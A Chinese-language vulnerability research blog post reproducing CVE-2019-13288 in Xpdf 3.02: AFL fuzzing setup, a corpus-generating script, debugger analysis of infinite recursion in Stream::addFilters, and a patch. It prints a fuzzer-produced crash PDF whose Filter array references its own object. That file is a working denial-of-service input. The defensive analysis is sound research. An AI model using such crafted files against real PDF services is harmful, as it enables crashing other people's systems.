┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
CVE-2019-13288: Xpdf
~ CuB3y0nd
# CVE-2019-13288

## Description

CVE: https://www.cve.org/CVERecord?id=CVE-2019-13288

# Compile

## Download

这里选择的是 [Xpdf Source Code - xpdf 3.02](https://www.xpdfreader.com/old-versi
ons.html),而不是 _4.01.01_。

```shellsession
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -zxvf xpdf-3.02.tar.gz
```

## Build

先用 LTO mode 插下桩:

```shellsession
cd xpdf-3.02
CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --prefix="$PWD/install"
make -j`nproc`
make install
```

考虑到插桩后的代码影响调试,所以我们再单独编译一个调试用的版本:

```shellsession
CC=clang CXX=clang++ CFLAGS="-O0 -g -gdwarf-4 -fno-inline -fno-builtin -fno-omit
-frame-pointer" CXXFLAGS="$CFLAGS" ./configure --prefix="$PWD/install-dbg"
make -j`nproc`
make install
```

# Samples

这里我用脚本自动生成一些最小样本,先创建一个 python 虚拟环境,以免搞乱系统环境:

```shellsession
uv venv .venv
uv pip install reportlab pillow
```

生成样本的脚本如下,使用 `uv run python .venv/gen_corpus.py` 运行。

```python title="gen_corpus.py"
#!/usr/bin/env python3

import os
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from PIL import Image

OUTDIR = "corpus/pdf"
FONT_PATH = "/usr/share/fonts/TTF/Inconsolata-Black.ttf"

os.makedirs(OUTDIR, exist_ok=True)

def path(name):
    return os.path.join(OUTDIR, name)

def gen_image(fname):
    img = Image.new("RGB", (32, 32), color=(255, 0, 0))
    img.save(fname, "JPEG")

def gen_minimal():
    c = canvas.Canvas(path("id_000000_minimal.pdf"))
    c.drawString(10, 10, "hi")
    c.save()

def gen_text():
    c = canvas.Canvas(path("id_000001_text.pdf"))
    for i in range(5):
        c.drawString(50, 800 - i * 20, f"text line {i}")
    c.save()

def gen_multipage():
    c = canvas.Canvas(path("id_000002_multipage.pdf"))
    for i in range(5):
        c.drawString(100, 700, f"page {i}")
        c.showPage()
    c.save()

def gen_image_pdf():
    img_path = path("tmp.jpg")
    gen_image(img_path)

    c = canvas.Canvas(path("id_000003_image.pdf"), pagesize=A4)
    c.drawImage(img_path, 100, 500, width=100, height=100)
    c.save()

    os.remove(img_path)

def gen_font_pdf():
    pdfmetrics.registerFont(TTFont("FuzzFont", FONT_PATH))
    c = canvas.Canvas(path("id_000004_font.pdf"))
    c.setFont("FuzzFont", 12)
    c.drawString(100, 700, "font fuzz test")
    c.save()

def gen_stream_filter():
    # Hand-written PDF: stream + FlateDecode (parser favorite)
    data = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 5 /Filter /FlateDecode >>
stream
xx9cx03x00x00x00x00x01
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000060 00000 n
0000000115 00000 n
0000000175 00000 n
trailer
<< /Root 1 0 R >>
startxref
240
%%EOF
"""
    with open(path("id_000005_stream_filter.pdf"), "wb") as f:
        f.write(data)

def main():
    gen_minimal()
    gen_text()
    gen_multipage()
    gen_image_pdf()
    gen_font_pdf()
    gen_stream_filter()
    print(f"[+] PDF corpus generated in ./{OUTDIR}")

if __name__ == "__main__":
    main()
```

# Fuzzing

有了样本之后就可以用下面这个指令开始跑 fuzz 了:

```shellsession
afl-fuzz -i corpus/ -o out/ -s 1337 -- ./install/bin/pdftotext @@ -
```

跑呀跑,刚跑两分钟就出了几个 crashes,然后我去吃了个饭,大概十几分钟,回来一看居
然已经有 33 个 crashes 了。简单看了下,发现除了下面这个符合描述的 crash 样本外,
还爆出来不少因为其它原因崩溃的 corpus 。不过由于我们的目标是复现 CVE-2019-13288 
所描述的漏洞,所以这里只会分析这个递归炸栈的 DoS 攻击样本。
# Analysis

根据上面的截图,我们不难发现,在执行 `Parser::getObj` 时反复使用了 `objNum=7, ob
jGen=0` 作为参数,而 `Object::fetch` 和 `XRef::fetch` 的调用虽然早于 `Parser::ge
tObj`,并且也在后续 backtrace 中重复出现,但从名字来看就知道,它们只是用于转发参
数的函数,而不是真正创建 / 重入对象的函数,所以,我们应该从 `Parser::getObj` 开
始分析,暂且认为它是递归环入口。
在 `Parser.cc:94` 下个断点,我们发现它直接进入了 `makeStream`,一路 `n` 下去,最
后进入了 `addFilters`:
所以 `addFilters` 才是递归环的入口。

```cpp
Stream *Stream::addFilters(Object *dict) {
  Object obj, obj2;
  Object params, params2;
  Stream *str;
  int i;

  str = this;
  dict->dictLookup("Filter", &obj);
  if (obj.isNull()) {
    obj.free();
    dict->dictLookup("F", &obj);
  }
  dict->dictLookup("DecodeParms", &params);
  if (params.isNull()) {
    params.free();
    dict->dictLookup("DP", &params);
  }
  if (obj.isName()) {
    str = makeFilter(obj.getName(), str, &params);
  } else if (obj.isArray()) {
    for (i = 0; i < obj.arrayGetLength(); ++i) {
      obj.arrayGet(i, &obj2);
      if (params.isArray())
        params.arrayGet(i, &params2);
      else
        params2.initNull();
      if (obj2.isName()) {
        str = makeFilter(obj2.getName(), str, &params2);
      } else {
        error(getPos(), "Bad filter name");
        str = new EOFStream(str);
      }
      obj2.free();
      params2.free();
    }
  } else if (!obj.isNull()) {
    error(getPos(), "Bad 'Filter' attribute in stream");
  }
  obj.free();
  params.free();

  return str;
}
```

调到 `dictLookup("Filter", &obj)` 的时候发现,它会去找 `(objNum=7, objGen=0)` 的
 _Dictionary_ 有没有 _Filter_:
我们的 crash 样本中这个 _Indirect Object_ 长这样:

```plaintext showLineNumbers=false collapse={1-37, 45-67}
%PDF-1.3
%“Œ‹ž ReportLab Generated PDF document (opensource)
1 0 obj
<<
/F1 2 0 R
>>
endobj
2 0 obj
<<
/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type 
/Font
>>
endobj
3 0 obj
<<
/Contents 7 0 R /MediaBox [ 0 0 595.2756 841.8898 ] /Parent 6 0 R /Resources <<
/Font 1 0 R /Pr~cSet [ /PDF /Text /ImageB /ImageC /ImageI ]
>> /Rotate 0 /Trans <<

>>
  /Type /Page
>>
endobj
4 0 obj
<<
/PageMode /UseNone /Pages 6 0 R /Type /Catalog
>>
endobj
5 0 obj
<<
/Author (anonymous) /CreationDate (D:20260210132607+08'00') /Creator (anonymous)
 /erated PDF doModDate (D:20260210132607+08'00') /Producer (ReportLab PDF Librar
y - (opensource))
  /Subject (unspecified) /Title (unti€€€€€€€€€€€€€€€€€€€€€€€>
endobj
6 0 obj
<<
/Count 1 /Kids [ 3 0 R ] /Type /Pages
>>
endobj
7 0 obj
<<
/Filter [ /ASCII85Decode /FlateDects 7 0 R /Meode ] /Length 87
>>
stream
GapQh0E=F,0UH3TpNYT^QKk?tc>IP,;W#U1^23ihPEM_?CW4KISi9!25KZ"cI79neZ[Kb,ht$3`$^8YH
ZB~>endstream
endobj
xref
0 8
00 65535 f
000061 00000 n
000092 00000 n
000199 00000 n
000402 00000 n
00 Off00 n
000731 00000 n
000790 00000 n
trailer
<<
/ID
[<a9e650489693d00e7eßßßßßßßßßßßßab1f137a614fa1><a9e650489693d00e7eab1f137a614fa1
>]
% ReportLab genKeywords () /cument -- digest (opensource)

/Info 5 0 R
/Root 4 0 R
/Size 8
>>
startxref
966
%%EOF
```

显然存在 Dictionary,并且里面是有 Filter 的,所以它会拿到这个 Object 的 Filter,
得到一个长度为 4 的 _Array_:
这和我们 crash 样本中的内容完美匹配。

如果对此有疑问的话,可以去看 [PDF reference: Adobe portable document format, ver
sion 1.3](https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandards/pdfrefer
ence1.3.pdf) 。之所以看 v1.3 而不是更新的版本,是因为我们的 crash 样本用的 PDF 
规格版本就是 1.3,即 `%PDF-1.3`。
继续往下走,我们会进入 `else if (obj.isArray())` 这个分支:
回顾最开始的递归链,我们知道程序是执行完 `Object::arrayGet -> Array::get` 后反回
到 fetch,再次获取 `(objNum=7, objGen=0)` 导致无限递归的。我们步入这个函数看看当
前 for 循环在 `i = 0` 的时候拿到了什么:
我们发现它确实按照我们预期的那样,获取到了数组索引为 `0` 的元素,由于类型为 `obj
Name`,所以之后会进入 `if (obj2.isName())` 这个分支,而又因为 `Object` 内部其实
是一个 `tagged union`,所以 `obj2.getName()` 获取到的值为 `ASCII85Decode`。

再次回顾一开始的递归调用链,我们注意到造成 `Array::get` 后返回到 fetch 再次获取
到 `(objNum=7, objGen=0)` 的索引是 `i = 2`,直接 `b Array::get if i == 2` 后跳过
去看,确实获取到了 `7 0 R`:
最后,返回到 `Object::fetch` 后由于 `type == objRef && xref` 成立,导致再次 fetc
h 了 `(objNum=7, objGen=0)`,如此循环,陷入无限递归,最终耗尽了栈空间,BOOM!

<cneter>
</cneter>

# Fix

查询规格文档,我们发现 Filter 的值只能是 Name 或 Name 数组,那就很好解决了。
我们可以直接禁止 Filter 中出现 Indirect Reference,或者检测 Stream 自引用等……出
于性能考虑,我选择直接挡 `objRef` 类型:

```cpp ins={22, 33-27}
Stream *Stream::addFilters(Object *dict) {
  Object obj, obj2;
  Object params, params2;
  Stream *str;
  int i;

  str = this;
  dict->dictLookup("Filter", &obj);
  if (obj.isNull()) {
    obj.free();
    dict->dictLookup("F", &obj);
  }
  dict->dictLookup("DecodeParms", &params);
  if (params.isNull()) {
    params.free();
    dict->dictLookup("DP", &params);
  }
  if (obj.isName()) {
    str = makeFilter(obj.getName(), str, &params);
  } else if (obj.isArray()) {
    for (i = 0; i < obj.arrayGetLength(); ++i) {
      obj.arrayGetNF(i, &obj2);
      if (params.isArray())
        params.arrayGet(i, &params2);
      else
        params2.initNull();
      if (obj2.isRef()) {
        error(getPos(), "Indirect reference is not allowed in Filter");
        str = new EOFStream(str);
        obj2.free();
        params2.free();
        break;
      }
      if (obj2.isName()) {
        str = makeFilter(obj2.getName(), str, &params2);
      } else {
        error(getPos(), "Bad filter name");
        str = new EOFStream(str);
      }
      obj2.free();
      params2.free();
    }
  } else if (!obj.isNull()) {
    error(getPos(), "Bad 'Filter' attribute in stream");
  }
  obj.free();
  params.free();

  return str;
}
```

可以看到,我们成功将无限递归扼杀在了摇篮里 xD